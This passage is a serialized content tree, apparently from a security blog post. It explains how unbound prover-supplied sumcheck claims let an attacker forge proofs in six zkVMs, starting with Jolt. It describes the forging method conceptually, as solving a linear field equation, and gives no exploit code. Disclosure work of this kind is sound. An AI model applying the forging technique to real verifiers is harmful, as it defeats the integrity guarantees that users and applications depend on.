,{"className":120088},[9680,9681,9682,9683],[120090],{"type":24,"tag":147,"props":120091,"children":120093},{"className":120092,"style":100059},[9635,27190,9683],[120094],{"type":29,"value":94267},{"type":24,"tag":147,"props":120096,"children":120098},{"className":120097},[27347],[120099],{"type":29,"value":27350},{"type":24,"tag":147,"props":120101,"children":120103},{"className":120102},[9660],[120104],{"type":24,"tag":147,"props":120105,"children":120108},{"className":120106,"style":120107},[9665],"height:0.2997em;",[120109],{"type":24,"tag":147,"props":120110,"children":120111},{},[],{"type":24,"tag":147,"props":120113,"children":120115},{"className":120114,"style":9753},[9714],[],{"type":24,"tag":147,"props":120117,"children":120119},{"className":120118},[9635],[120120,120124,120277],{"type":24,"tag":147,"props":120121,"children":120123},{"className":120122},[27319,119138],[],{"type":24,"tag":147,"props":120125,"children":120127},{"className":120126},[119143],[120128],{"type":24,"tag":147,"props":120129,"children":120131},{"className":120130},[9655,27244],[120132,120265],{"type":24,"tag":147,"props":120133,"children":120135},{"className":120134},[9660],[120136,120260],{"type":24,"tag":147,"props":120137,"children":120139},{"className":120138,"style":119156},[9665],[120140,120229,120240],{"type":24,"tag":147,"props":120141,"children":120142},{"style":119160},[120143,120147],{"type":24,"tag":147,"props":120144,"children":120146},{"className":120145,"style":117792},[9674],[],{"type":24,"tag":147,"props":120148,"children":120150},{"className":120149},[9680,9681,9682,9683],[120151],{"type":24,"tag":147,"props":120152,"children":120154},{"className":120153},[9635,9683],[120155,120160,120165],{"type":24,"tag":147,"props":120156,"children":120158},{"className":120157,"style":119177},[9635,27190,9683],[120159],{"type":29,"value":119180},{"type":24,"tag":147,"props":120161,"children":120163},{"className":120162},[9720,9683],[120164],{"type":29,"value":9694},{"type":24,"tag":147,"props":120166,"children":120168},{"className":120167},[9635,9683],[120169,120179],{"type":24,"tag":147,"props":120170,"children":120172},{"className":120171},[9635,29,9683],[120173],{"type":24,"tag":147,"props":120174,"children":120176},{"className":120175},[9635,9683],[120177],{"type":29,"value":120178},"consume",{"type":24,"tag":147,"props":120180,"children":120182},{"className":120181},[9650],[120183],{"type":24,"tag":147,"props":120184,"children":120186},{"className":120185},[9655,27244],[120187,120217],{"type":24,"tag":147,"props":120188,"children":120190},{"className":120189},[9660],[120191,120212],{"type":24,"tag":147,"props":120192,"children":120194},{"className":120193,"style":117952},[9665],[120195],{"type":24,"tag":147,"props":120196,"children":120198},{"style":120197},"top:-2.3488em;margin-right:0.0714em;",[120199,120203],{"type":24,"tag":147,"props":120200,"children":120202},{"className":120201,"style":114481},[9674],[],{"type":24,"tag":147,"props":120204,"children":120206},{"className":120205},[9680,114486,114487,9683],[120207],{"type":24,"tag":147,"props":120208,"children":120210},{"className":120209,"style":100059},[9635,27190,9683],[120211],{"type":29,"value":94267},{"type":24,"tag":147,"props":120213,"children":120215},{"className":120214},[27347],[120216],{"type":29,"value":27350},{"type":24,"tag":147,"props":120218,"children":120220},{"className":120219},[9660],[120221],{"type":24,"tag":147,"props":120222,"children":120225},{"className":120223,"style":120224},[9665],"height:0.1512em;",[120226],{"type":24,"tag":147,"props":120227,"children":120228},{},[],{"type":24,"tag":147,"props":120230,"children":120231},{"style":119193},[120232,120236],{"type":24,"tag":147,"props":120233,"children":120235},{"className":120234,"style":117792},[9674],[],{"type":24,"tag":147,"props":120237,"children":120239},{"className":120238,"style":119203},[119202],[],{"type":24,"tag":147,"props":120241,"children":120242},{"style":119207},[120243,120247],{"type":24,"tag":147,"props":120244,"children":120246},{"className":120245,"style":117792},[9674],[],{"type":24,"tag":147,"props":120248,"children":120250},{"className":120249},[9680,9681,9682,9683],[120251],{"type":24,"tag":147,"props":120252,"children":120254},{"className":120253},[9635,9683],[120255],{"type":24,"tag":147,"props":120256,"children":120258},{"className":120257},[9635,9683],[120259],{"type":29,"value":1154},{"type":24,"tag":147,"props":120261,"children":120263},{"className":120262},[27347],[120264],{"type":29,"value":27350},{"type":24,"tag":147,"props":120266,"children":120268},{"className":120267},[9660],[120269],{"type":24,"tag":147,"props":120270,"children":120273},{"className":120271,"style":120272},[9665],"height:0.4509em;",[120274],{"type":24,"tag":147,"props":120275,"children":120276},{},[],{"type":24,"tag":147,"props":120278,"children":120280},{"className":120279},[27341,119138],[],{"type":24,"tag":25,"props":120282,"children":120283},{},[120284,120286,120468],{"type":29,"value":120285},"The global check: ",{"type":24,"tag":80,"props":120287,"children":120289},{"className":120288},[9607,9608],[120290],{"type":24,"tag":147,"props":120291,"children":120293},{"className":120292},[9613],[120294],{"type":24,"tag":147,"props":120295,"children":120297},{"className":120296,"ariaHidden":9619},[9618],[120298,120455],{"type":24,"tag":147,"props":120299,"children":120301},{"className":120300},[9624],[120302,120306,120363,120367,120376,120381,120442,120446,120451],{"type":24,"tag":147,"props":120303,"children":120305},{"className":120304,"style":98572},[9629],[],{"type":24,"tag":147,"props":120307,"children":120309},{"className":120308},[27226],[120310,120315],{"type":24,"tag":147,"props":120311,"children":120313},{"className":120312,"style":27233},[27226,27231,27232],[120314],{"type":29,"value":114416},{"type":24,"tag":147,"props":120316,"children":120318},{"className":120317},[9650],[120319],{"type":24,"tag":147,"props":120320,"children":120322},{"className":120321},[9655,27244],[120323,120352],{"type":24,"tag":147,"props":120324,"children":120326},{"className":120325},[9660],[120327,120347],{"type":24,"tag":147,"props":120328,"children":120330},{"className":120329,"style":119827},[9665],[120331],{"type":24,"tag":147,"props":120332,"children":120333},{"style":27257},[120334,120338],{"type":24,"tag":147,"props":120335,"children":120337},{"className":120336,"style":9675},[9674],[],{"type":24,"tag":147,"props":120339,"children":120341},{"className":120340},[9680,9681,9682,9683],[120342],{"type":24,"tag":147,"props":120343,"children":120345},{"className":120344},[9635,27190,9683],[120346],{"type":29,"value":9363},{"type":24,"tag":147,"props":120348,"children":120350},{"className":120349},[27347],[120351],{"type":29,"value":27350},{"type":24,"tag":147,"props":120353,"children":120355},{"className":120354},[9660],[120356],{"type":24,"tag":147,"props":120357,"children":120359},{"className":120358,"style":120107},[9665],[120360],{"type":24,"tag":147,"props":120361,"children":120362},{},[],{"type":24,"tag":147,"props":120364,"children":120366},{"className":120365,"style":9753},[9714],[],{"type":24,"tag":147,"props":120368,"children":120370},{"className":120369},[9635,29],[120371],{"type":24,"tag":147,"props":120372,"children":120374},{"className":120373},[9635],[120375],{"type":29,"value":119713},{"type":24,"tag":147,"props":120377,"children":120379},{"className":120378,"style":98630},[9635],[120380],{"type":29,"value":8714},{"type":24,"tag":147,"props":120382,"children":120384},{"className":120383},[9635],[120385,120394],{"type":24,"tag":147,"props":120386,"children":120388},{"className":120387},[9635,29],[120389],{"type":24,"tag":147,"props":120390,"children":120392},{"className":120391},[9635],[120393],{"type":29,"value":82216},{"type":24,"tag":147,"props":120395,"children":120397},{"className":120396},[9650],[120398],{"type":24,"tag":147,"props":120399,"children":120401},{"className":120400},[9655,27244],[120402,120431],{"type":24,"tag":147,"props":120403,"children":120405},{"className":120404},[9660],[120406,120426],{"type":24,"tag":147,"props":120407,"children":120409},{"className":120408,"style":99159},[9665],[120410],{"type":24,"tag":147,"props":120411,"children":120412},{"style":119750},[120413,120417],{"type":24,"tag":147,"props":120414,"children":120416},{"className":120415,"style":9675},[9674],[],{"type":24,"tag":147,"props":120418,"children":120420},{"className":120419},[9680,9681,9682,9683],[120421],{"type":24,"tag":147,"props":120422,"children":120424},{"className":120423},[9635,27190,9683],[120425],{"type":29,"value":9363},{"type":24,"tag":147,"props":120427,"children":120429},{"className":120428},[27347],[120430],{"type":29,"value":27350},{"type":24,"tag":147,"props":120432,"children":120434},{"className":120433},[9660],[120435],{"type":24,"tag":147,"props":120436,"children":120438},{"className":120437,"style":98713},[9665],[120439],{"type":24,"tag":147,"props":120440,"children":120441},{},[],{"type":24,"tag":147,"props":120443,"children":120445},{"className":120444,"style":9812},[9714],[],{"type":24,"tag":147,"props":120447,"children":120449},{"className":120448},[9817],[120450],{"type":29,"value":369},{"type":24,"tag":147,"props":120452,"children":120454},{"className":120453,"style":9812},[9714],[],{"type":24,"tag":147,"props":120456,"children":120458},{"className":120457},[9624],[120459,120463],{"type":24,"tag":147,"props":120460,"children":120462},{"className":120461,"style":99661},[9629],[],{"type":24,"tag":147,"props":120464,"children":120466},{"className":120465},[9635],[120467],{"type":29,"value":3173},{"type":29,"value":87},{"type":24,"tag":25,"props":120470,"children":120471},{},[120472,120477,120479,120485],{"type":24,"tag":10949,"props":120473,"children":120474},{},[120475],{"type":29,"value":120476},"Why this is vulnerable:",{"type":29,"value":120478}," The ",{"type":24,"tag":80,"props":120480,"children":120482},{"className":120481},[],[120483],{"type":29,"value":120484},"claimed_sum",{"type":29,"value":120486}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":24,"tag":2665,"props":120488,"children":120489},{},[],{"type":24,"tag":32,"props":120491,"children":120493},{"id":120492},"the-universal-attack-pattern",[120494],{"type":29,"value":120495},"The Universal Attack Pattern",{"type":24,"tag":25,"props":120497,"children":120498},{},[120499],{"type":29,"value":120500},"Now we can describe the attack pattern that works on all six systems:",{"type":24,"tag":25,"props":120502,"children":120503},{},[120504],{"type":24,"tag":63,"props":120505,"children":120508},{"alt":120506,"src":120507},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":24,"tag":25,"props":120510,"children":120511},{},[120512,120514,120539],{"type":29,"value":120513},"When a value ",{"type":24,"tag":80,"props":120515,"children":120517},{"className":120516},[9607,9608],[120518],{"type":24,"tag":147,"props":120519,"children":120521},{"className":120520},[9613],[120522],{"type":24,"tag":147,"props":120523,"children":120525},{"className":120524,"ariaHidden":9619},[9618],[120526],{"type":24,"tag":147,"props":120527,"children":120529},{"className":120528},[9624],[120530,120534],{"type":24,"tag":147,"props":120531,"children":120533},{"className":120532,"style":27185},[9629],[],{"type":24,"tag":147,"props":120535,"children":120537},{"className":120536,"style":113819},[9635,27190],[120538],{"type":29,"value":114143},{"type":29,"value":120540}," isn't transcript-bound:",{"type":24,"tag":2674,"props":120542,"children":120543},{},[120544,120575,120652,120797],{"type":24,"tag":2678,"props":120545,"children":120546},{},[120547,120549,120574],{"type":29,"value":120548},"Challenges are fixed (independent of ",{"type":24,"tag":80,"props":120550,"children":120552},{"className":120551},[9607,9608],[120553],{"type":24,"tag":147,"props":120554,"children":120556},{"className":120555},[9613],[120557],{"type":24,"tag":147,"props":120558,"children":120560},{"className":120559,"ariaHidden":9619},[9618],[120561],{"type":24,"tag":147,"props":120562,"children":120564},{"className":120563},[9624],[120565,120569],{"type":24,"tag":147,"props":120566,"children":120568},{"className":120567,"style":27185},[9629],[],{"type":24,"tag":147,"props":120570,"children":120572},{"className":120571,"style":113819},[9635,27190],[120573],{"type":29,"value":114143},{"type":29,"value":8758},{"type":24,"tag":2678,"props":120576,"children":120577},{},[120578,120580],{"type":29,"value":120579},"The verification equation has form: ",{"type":24,"tag":80,"props":120581,"children":120583},{"className":120582},[9607,9608],[120584],{"type":24,"tag":147,"props":120585,"children":120587},{"className":120586},[9613],[120588],{"type":24,"tag":147,"props":120589,"children":120591},{"className":120590,"ariaHidden":9619},[9618],[120592,120633],{"type":24,"tag":147,"props":120593,"children":120595},{"className":120594},[9624],[120596,120600,120605,120610,120615,120620,120624,120629],{"type":24,"tag":147,"props":120597,"children":120599},{"className":120598,"style":9735},[9629],[],{"type":24,"tag":147,"props":120601,"children":120603},{"className":120602,"style":100984},[9635,27190],[120604],{"type":29,"value":6999},{"type":24,"tag":147,"props":120606,"children":120608},{"className":120607},[27319],[120609],{"type":29,"value":480},{"type":24,"tag":147,"props":120611,"children":120613},{"className":120612,"style":113819},[9635,27190],[120614],{"type":29,"value":114143},{"type":24,"tag":147,"props":120616,"children":120618},{"className":120617},[27341],[120619],{"type":29,"value":8758},{"type":24,"tag":147,"props":120621,"children":120623},{"className":120622,"style":9812},[9714],[],{"type":24,"tag":147,"props":120625,"children":120627},{"className":120626},[9817],[120628],{"type":29,"value":369},{"type":24,"tag":147,"props":120630,"children":120632},{"className":120631,"style":9812},[9714],[],{"type":24,"tag":147,"props":120634,"children":120636},{"className":120635},[9624],[120637,120642],{"type":24,"tag":147,"props":120638,"children":120641},{"className":120639,"style":120640},[9629],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":24,"tag":147,"props":120643,"children":120645},{"className":120644},[9635,29],[120646],{"type":24,"tag":147,"props":120647,"children":120649},{"className":120648},[9635],[120650],{"type":29,"value":120651},"target",{"type":24,"tag":2678,"props":120653,"children":120654},{},[120655,120656,120682,120684],{"type":29,"value":13105},{"type":24,"tag":80,"props":120657,"children":120659},{"className":120658},[9607,9608],[120660],{"type":24,"tag":147,"props":120661,"children":120663},{"className":120662},[9613],[120664],{"type":24,"tag":147,"props":120665,"children":120667},{"className":120666,"ariaHidden":9619},[9618],[120668],{"type":24,"tag":147,"props":120669,"children":120671},{"className":120670},[9624],[120672,120677],{"type":24,"tag":147,"props":120673,"children":120676},{"className":120674,"style":120675},[9629],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":24,"tag":147,"props":120678,"children":120680},{"className":120679,"style":100984},[9635,27190],[120681],{"type":29,"value":6999},{"type":29,"value":120683}," is linear: ",{"type":24,"tag":80,"props":120685,"children":120687},{"className":120686},[9607,9608],[120688],{"type":24,"tag":147,"props":120689,"children":120691},{"className":120690},[9613],[120692],{"type":24,"tag":147,"props":120693,"children":120695},{"className":120694,"ariaHidden":9619},[9618],[120696,120725,120752,120780],{"type":24,"tag":147,"props":120697,"children":120699},{"className":120698},[9624],[120700,120705,120712,120716,120721],{"type":24,"tag":147,"props":120701,"children":120704},{"className":120702,"style":120703},[9629],"height:0.4445em;",[],{"type":24,"tag":147,"props":120706,"children":120709},{"className":120707,"style":120708},[9635,27190],"margin-right:0.0037em;",[120710],{"type":29,"value":120711},"α",{"type":24,"tag":147,"props":120713,"children":120715},{"className":120714,"style":9715},[9714],[],{"type":24,"tag":147,"props":120717,"children":120719},{"className":120718},[9720],[120720],{"type":29,"value":116883},{"type":24,"tag":147,"props":120722,"children":120724},{"className":120723,"style":9715},[9714],[],{"type":24,"tag":147,"props":120726,"children":120728},{"className":120727},[9624],[120729,120734,120739,120743,120748],{"type":24,"tag":147,"props":120730,"children":120733},{"className":120731,"style":120732},[9629],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":24,"tag":147,"props":120735,"children":120737},{"className":120736,"style":113819},[9635,27190],[120738],{"type":29,"value":114143},{"type":24,"tag":147,"props":120740,"children":120742},{"className":120741,"style":9715},[9714],[],{"type":24,"tag":147,"props":120744,"children":120746},{"className":120745},[9720],[120747],{"type":29,"value":624},{"type":24,"tag":147,"props":120749,"children":120751},{"className":120750,"style":9715},[9714],[],{"type":24,"tag":147,"props":120753,"children":120755},{"className":120754},[9624],[120756,120760,120767,120771,120776],{"type":24,"tag":147,"props":120757,"children":120759},{"className":120758,"style":120675},[9629],[],{"type":24,"tag":147,"props":120761,"children":120764},{"className":120762,"style":120763},[9635,27190],"margin-right:0.05278em;",[120765],{"type":29,"value":120766},"β",{"type":24,"tag":147,"props":120768,"children":120770},{"className":120769,"style":9812},[9714],[],{"type":24,"tag":147,"props":120772,"children":120774},{"className":120773},[9817],[120775],{"type":29,"value":369},{"type":24,"tag":147,"props":120777,"children":120779},{"className":120778,"style":9812},[9714],[],{"type":24,"tag":147,"props":120781,"children":120783},{"className":120782},[9624],[120784,120788],{"type":24,"tag":147,"props":120785,"children":120787},{"className":120786,"style":120640},[9629],[],{"type":24,"tag":147,"props":120789,"children":120791},{"className":120790},[9635,29],[120792],{"type":24,"tag":147,"props":120793,"children":120795},{"className":120794},[9635],[120796],{"type":29,"value":120651},{"type":24,"tag":2678,"props":120798,"children":120799},{},[120800,120802],{"type":29,"value":120801},"Solve: ",{"type":24,"tag":80,"props":120803,"children":120805},{"className":120804},[9607,9608],[120806],{"type":24,"tag":147,"props":120807,"children":120809},{"className":120808},[9613],[120810],{"type":24,"tag":147,"props":120811,"children":120813},{"className":120812,"ariaHidden":9619},[9618],[120814,120840,120875],{"type":24,"tag":147,"props":120815,"children":120817},{"className":120816},[9624],[120818,120822,120827,120831,120836],{"type":24,"tag":147,"props":120819,"children":120821},{"className":120820,"style":27185},[9629],[],{"type":24,"tag":147,"props":120823,"children":120825},{"className":120824,"style":113819},[9635,27190],[120826],{"type":29,"value":114143},{"type":24,"tag":147,"props":120828,"children":120830},{"className":120829,"style":9812},[9714],[],{"type":24,"tag":147,"props":120832,"children":120834},{"className":120833},[9817],[120835],{"type":29,"value":369},{"type":24,"tag":147,"props":120837,"children":120839},{"className":120838,"style":9812},[9714],[],{"type":24,"tag":147,"props":120841,"children":120843},{"className":120842},[9624],[120844,120848,120853,120862,120866,120871],{"type":24,"tag":147,"props":120845,"children":120847},{"className":120846,"style":9735},[9629],[],{"type":24,"tag":147,"props":120849,"children":120851},{"className":120850},[27319],[120852],{"type":29,"value":480},{"type":24,"tag":147,"props":120854,"children":120856},{"className":120855},[9635,29],[120857],{"type":24,"tag":147,"props":120858,"children":120860},{"className":120859},[9635],[120861],{"type":29,"value":120651},{"type":24,"tag":147,"props":120863,"children":120865},{"className":120864,"style":9715},[9714],[],{"type":24,"tag":147,"props":120867,"children":120869},{"className":120868},[9720],[120870],{"type":29,"value":9694},{"type":24,"tag":147,"props":120872,"children":120874},{"className":120873,"style":9715},[9714],[],{"type":24,"tag":147,"props":120876,"children":120878},{"className":120877},[9624],[120879,120883,120888,120893,120898],{"type":24,"tag":147,"props":120880,"children":120882},{"className":120881,"style":9735},[9629],[],{"type":24,"tag":147,"props":120884,"children":120886},{"className":120885,"style":120763},[9635,27190],[120887],{"type":29,"value":120766},{"type":24,"tag":147,"props":120889,"children":120891},{"className":120890},[27341],[120892],{"type":29,"value":8758},{"type":24,"tag":147,"props":120894,"children":120896},{"className":120895},[9635],[120897],{"type":29,"value":10204},{"type":24,"tag":147,"props":120899,"children":120901},{"className":120900,"style":120708},[9635,27190],[120902],{"type":29,"value":120711},{"type":24,"tag":25,"props":120904,"children":120905},{},[120906],{"type":29,"value":120907},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":24,"tag":25,"props":120909,"children":120910},{},[120911,120913,120991],{"type":29,"value":120912},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":24,"tag":80,"props":120914,"children":120916},{"className":120915},[9607,9608],[120917],{"type":24,"tag":147,"props":120918,"children":120920},{"className":120919},[9613],[120921],{"type":24,"tag":147,"props":120922,"children":120924},{"className":120923,"ariaHidden":9619},[9618],[120925],{"type":24,"tag":147,"props":120926,"children":120928},{"className":120927},[9624],[120929,120934,120940,120945,120986],{"type":24,"tag":147,"props":120930,"children":120933},{"className":120931,"style":120932},[9629],"height:1.0641em;vertical-align:-0.25em;",[],{"type":24,"tag":147,"props":120935,"children":120937},{"className":120936,"style":98630},[9635,27190],[120938],{"type":29,"value":120939},"O",{"type":24,"tag":147,"props":120941,"children":120943},{"className":120942},[27319],[120944],{"type":29,"value":480},{"type":24,"tag":147,"props":120946,"children":120948},{"className":120947},[9635],[120949,120954],{"type":24,"tag":147,"props":120950,"children":120952},{"className":120951},[9635,27190],[120953],{"type":29,"value":61991},{"type":24,"tag":147,"props":120955,"children":120957},{"className":120956},[9650],[120958],{"type":24,"tag":147,"props":120959,"children":120961},{"className":120960},[9655],[120962],{"type":24,"tag":147,"props":120963,"children":120965},{"className":120964},[9660],[120966],{"type":24,"tag":147,"props":120967,"children":120969},{"className":120968,"style":9630},[9665],[120970],{"type":24,"tag":147,"props":120971,"children":120972},{"style":9669},[120973,120977],{"type":24,"tag":147,"props":120974,"children":120976},{"className":120975,"style":9675},[9674],[],{"type":24,"tag":147,"props":120978,"children":120980},{"className":120979},[9680,9681,9682,9683],[120981],{"type":24,"tag":147,"props":120982,"children":120984},{"className":120983},[9635,9683],[120985],{"type":29,"value":22901},{"type":24,"tag":147,"props":120987,"children":120989},{"className":120988},[27341],[120990],{"type":29,"value":8758},{"type":29,"value":120992}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":24,"tag":2665,"props":120994,"children":120995},{},[],{"type":24,"tag":32,"props":120997,"children":120999},{"id":120998},"the-six-broken-systems",[121000],{"type":29,"value":121001},"The Six Broken Systems",{"type":24,"tag":25,"props":121003,"children":121004},{},[121005],{"type":24,"tag":63,"props":121006,"children":121009},{"alt":121007,"src":121008},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":24,"tag":25,"props":121011,"children":121012},{},[121013],{"type":29,"value":121014},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":24,"tag":2665,"props":121016,"children":121017},{},[],{"type":24,"tag":43,"props":121019,"children":121021},{"id":121020},"jolt-a16z",[121022],{"type":29,"value":121023},"Jolt (a16z)",{"type":24,"tag":25,"props":121025,"children":121026},{},[121027],{"type":29,"value":121028},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":24,"tag":25,"props":121030,"children":121031},{},[121032],{"type":24,"tag":10949,"props":121033,"children":121034},{},[121035],{"type":29,"value":121036},"The proof structure:",{"type":24,"tag":137,"props":121038,"children":121040},{"code":121039},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[121041],{"type":24,"tag":80,"props":121042,"children":121043},{"__ignoreMap":7},[121044],{"type":29,"value":121039},{"type":24,"tag":25,"props":121046,"children":121047},{},[121048],{"type":24,"tag":10949,"props":121049,"children":121050},{},[121051],{"type":29,"value":121052},"The verification flow:",{"type":24,"tag":25,"props":121054,"children":121055},{},[121056],{"type":24,"tag":63,"props":121057,"children":121060},{"alt":121058,"src":121059},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":24,"tag":25,"props":121062,"children":121063},{},[121064,121069,121071,121077,121079,121085,121087,121092],{"type":24,"tag":10949,"props":121065,"children":121066},{},[121067],{"type":29,"value":121068},"The bug:",{"type":29,"value":121070}," Each sumcheck instance provides an ",{"type":24,"tag":80,"props":121072,"children":121074},{"className":121073},[],[121075],{"type":29,"value":121076},"input_claim",{"type":29,"value":121078},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":24,"tag":80,"props":121080,"children":121082},{"className":121081},[],[121083],{"type":29,"value":121084},"opening_claims",{"type":29,"value":121086}," in the proof, but they were ",{"type":24,"tag":10949,"props":121088,"children":121089},{},[121090],{"type":29,"value":121091},"never absorbed into the transcript",{"type":29,"value":121093}," before the batching coefficients were derived.",{"type":24,"tag":25,"props":121095,"children":121096},{},[121097],{"type":24,"tag":63,"props":121098,"children":121101},{"alt":121099,"src":121100},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":24,"tag":25,"props":121103,"children":121104},{},[121105],{"type":24,"tag":10949,"props":121106,"children":121107},{},[121108],{"type":29,"value":121109},"How sumcheck uses opening_claims:",{"type":24,"tag":25,"props":121111,"children":121112},{},[121113,121115,121121,121123,121200],{"type":29,"value":121114},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":24,"tag":80,"props":121116,"children":121118},{"className":121117},[],[121119],{"type":29,"value":121120},"BatchedClaim",{"type":29,"value":121122}," by taking a random linear combination of the individual claims ",{"type":24,"tag":80,"props":121124,"children":121126},{"className":121125},[9607,9608],[121127],{"type":24,"tag":147,"props":121128,"children":121130},{"className":121129},[9613],[121131],{"type":24,"tag":147,"props":121132,"children":121134},{"className":121133,"ariaHidden":9619},[9618],[121135],{"type":24,"tag":147,"props":121136,"children":121138},{"className":121137},[9624],[121139,121143],{"type":24,"tag":147,"props":121140,"children":121142},{"className":121141,"style":116618},[9629],[],{"type":24,"tag":147,"props":121144,"children":121146},{"className":121145},[9635],[121147,121152],{"type":24,"tag":147,"props":121148,"children":121150},{"className":121149,"style":98864},[9635,27190],[121151],{"type":29,"value":98867},{"type":24,"tag":147,"props":121153,"children":121155},{"className":121154},[9650],[121156],{"type":24,"tag":147,"props":121157,"children":121159},{"className":121158},[9655,27244],[121160,121189],{"type":24,"tag":147,"props":121161,"children":121163},{"className":121162},[9660],[121164,121184],{"type":24,"tag":147,"props":121165,"children":121167},{"className":121166,"style":99159},[9665],[121168],{"type":24,"tag":147,"props":121169,"children":121170},{"style":116050},[121171,121175],{"type":24,"tag":147,"props":121172,"children":121174},{"className":121173,"style":9675},[9674],[],{"type":24,"tag":147,"props":121176,"children":121178},{"className":121177},[9680,9681,9682,9683],[121179],{"type":24,"tag":147,"props":121180,"children":121182},{"className":121181},[9635,27190,9683],[121183],{"type":29,"value":9363},{"type":24,"tag":147,"props":121185,"children":121187},{"className":121186},[27347],[121188],{"type":29,"value":27350},{"type":24,"tag":147,"props":121190,"children":121192},{"className":121191},[9660],[121193],{"type":24,"tag":147,"props":121194,"children":121196},{"className":121195,"style":98713},[9665],[121197],{"type":24,"tag":147,"props":121198,"children":121199},{},[],{"type":29,"value":978},{"type":24,"tag":25,"props":121202,"children":121203},{},[121204],{"type":24,"tag":80,"props":121205,"children":121207},{"className":121206},[9607,9608],[121208],{"type":24,"tag":147,"props":121209,"children":121211},{"className":121210},[9613],[121212],{"type":24,"tag":147,"props":121213,"children":121215},{"className":121214,"ariaHidden":9619},[9618],[121216,121246,121387],{"type":24,"tag":147,"props":121217,"children":121219},{"className":121218},[9624],[121220,121224,121233,121237,121242],{"type":24,"tag":147,"props":121221,"children":121223},{"className":121222,"style":98545},[9629],[],{"type":24,"tag":147,"props":121225,"children":121227},{"className":121226},[9635,29],[121228],{"type":24,"tag":147,"props":121229,"children":121231},{"className":121230},[9635],[121232],{"type":29,"value":121120},{"type":24,"tag":147,"props":121234,"children":121236},{"className":121235,"style":9812},[9714],[],{"type":24,"tag":147,"props":121238,"children":121240},{"className":121239},[9817],[121241],{"type":29,"value":369},{"type":24,"tag":147,"props":121243,"children":121245},{"className":121244,"style":9812},[9714],[],{"type":24,"tag":147,"props":121247,"children":121249},{"className":121248},[9624],[121250,121255,121312,121316,121374,121378,121383],{"type":24,"tag":147,"props":121251,"children":121254},{"className":121252,"style":121253},[9629],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":24,"tag":147,"props":121256,"children":121258},{"className":121257},[27226],[121259,121264],{"type":24,"tag":147,"props":121260,"children":121262},{"className":121261,"style":27233},[27226,27231,27232],[121263],{"type":29,"value":114416},{"type":24,"tag":147,"props":121265,"children":121267},{"className":121266},[9650],[121268],{"type":24,"tag":147,"props":121269,"children":121271},{"className":121270},[9655,27244],[121272,121301],{"type":24,"tag":147,"props":121273,"children":121275},{"className":121274},[9660],[121276,121296],{"type":24,"tag":147,"props":121277,"children":121279},{"className":121278,"style":119827},[9665],[121280],{"type":24,"tag":147,"props":121281,"children":121282},{"style":27257},[121283,121287],{"type":24,"tag":147,"props":121284,"children":121286},{"className":121285,"style":9675},[9674],[],{"type":24,"tag":147,"props":121288,"children":121290},{"className":121289},[9680,9681,9682,9683],[121291],{"type":24,"tag":147,"props":121292,"children":121294},{"className":121293},[9635,27190,9683],[121295],{"type":29,"value":9363},{"type":24,"tag":147,"props":121297,"children":121299},{"className":121298},[27347],[121300],{"type":29,"value":27350},{"type":24,"tag":147,"props":121302,"children":121304},{"className":121303},[9660],[121305],{"type":24,"tag":147,"props":121306,"children":121308},{"className":121307,"style":120107},[9665],[121309],{"type":24,"tag":147,"props":121310,"children":121311},{},[],{"type":24,"tag":147,"props":121313,"children":121315},{"className":121314,"style":9753},[9714],[],{"type":24,"tag":147,"props":121317,"children":121319},{"className":121318},[9635],[121320,121325],{"type":24,"tag":147,"props":121321,"children":121323},{"className":121322,"style":120708},[9635,27190],[121324],{"type":29,"value":120711},{"type":24,"tag":147,"props":121326,"children":121328},{"className":121327},[9650],[121329],{"type":24,"tag":147,"props":121330,"children":121332},{"className":121331},[9655,27244],[121333,121363],{"type":24,"tag":147,"props":121334,"children":121336},{"className":121335},[9660],[121337,121358],{"type":24,"tag":147,"props":121338,"children":121340},{"className":121339,"style":99159},[9665],[121341],{"type":24,"tag":147,"props":121342,"children":121344},{"style":121343},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[121345,121349],{"type":24,"tag":147,"props":121346,"children":121348},{"className":121347,"style":9675},[9674],[],{"type":24,"tag":147,"props":121350,"children":121352},{"className":121351},[9680,9681,9682,9683],[121353],{"type":24,"tag":147,"props":121354,"children":121356},{"className":121355},[9635,27190,9683],[121357],{"type":29,"value":9363},{"type":24,"tag":147,"props":121359,"children":121361},{"className":121360},[27347],[121362],{"type":29,"value":27350},{"type":24,"tag":147,"props":121364,"children":121366},{"className":121365},[9660],[121367],{"type":24,"tag":147,"props":121368,"children":121370},{"className":121369,"style":98713},[9665],[121371],{"type":24,"tag":147,"props":121372,"children":121373},{},[],{"type":24,"tag":147,"props":121375,"children":121377},{"className":121376,"style":9715},[9714],[],{"type":24,"tag":147,"props":121379,"children":121381},{"className":121380},[9720],[121382],{"type":29,"value":116883},{"type":24,"tag":147,"props":121384,"children":121386},{"className":121385,"style":9715},[9714],[],{"type":24,"tag":147,"props":121388,"children":121390},{"className":121389},[9624],[121391,121395],{"type":24,"tag":147,"props":121392,"children":121394},{"className":121393,"style":116618},[9629],[],{"type":24,"tag":147,"props":121396,"children":121398},{"className":121397},[9635],[121399,121404],{"type":24,"tag":147,"props":121400,"children":121402},{"className":121401,"style":98864},[9635,27190],[121403],{"type":29,